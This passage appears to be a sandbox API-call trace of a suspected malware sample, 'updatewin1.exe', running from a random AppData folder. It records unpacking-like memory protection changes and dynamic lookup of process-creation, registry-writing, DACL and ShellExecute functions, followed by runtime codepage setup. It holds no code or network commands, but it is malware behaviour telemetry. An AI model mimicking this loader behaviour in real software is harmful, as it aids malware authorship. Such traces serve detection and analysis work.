lpProcName="SetErrorMode") returned 0x76c31b00 [0053.089] SetErrorMode (uMode=0x400) returned 0x0 [0053.089] SetErrorMode (uMode=0x0) returned 0x400 [0053.090] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x2b0000 [0053.092] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0053.174] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.175] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0053.175] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0053.176] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0053.177] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0053.330] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0053.331] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.332] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.332] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0053.333] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0053.333] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0053.333] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0053.333] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0053.333] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0053.333] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0053.333] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0053.334] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0053.334] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0053.334] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0053.347] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0053.347] atexit (param_1=0x4f63d8) returned 0 [0053.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0x8dbd7ac0, dwHighDateTime=0x1d56c59)) [0053.348] GetCurrentThreadId () returned 0xacc [0053.348] GetCurrentProcessId () returned 0xac8 [0053.348] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17360688082) returned 1 [0053.356] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.356] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.357] GetLastError () returned 0x57 [0053.357] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.357] GetLastError () returned 0x57 [0053.357] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.358] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.372] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.372] GetLastError () returned 0x57 [0053.372] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.372] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.373] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.373] GetLastError () returned 0x57 [0053.374] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.374] GetLastError () returned 0x57 [0053.374] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.374] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.374] GetProcessHeap () returned 0x4e0000 [0053.374] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.374] GetLastError () returned 0x57 [0053.374] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.374] GetLastError () returned 0x57 [0053.374] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.374] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x364) returned 0x50a9e8 [0053.375] SetLastError (dwErrCode=0x57) [0053.376] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xc00) returned 0x50ad58 [0053.377] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x86f6a067, hStdError=0xfffffffe)) [0053.377] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.377] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.377] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.377] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" " [0053.377] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" " [0053.377] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.377] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0053.377] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0053.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.377] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0053.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0053.378] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.378] GetLastError () returned 0x57 [0053.378] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.378] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.378] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿\x05¯\x86Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.379] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.379] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0053.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 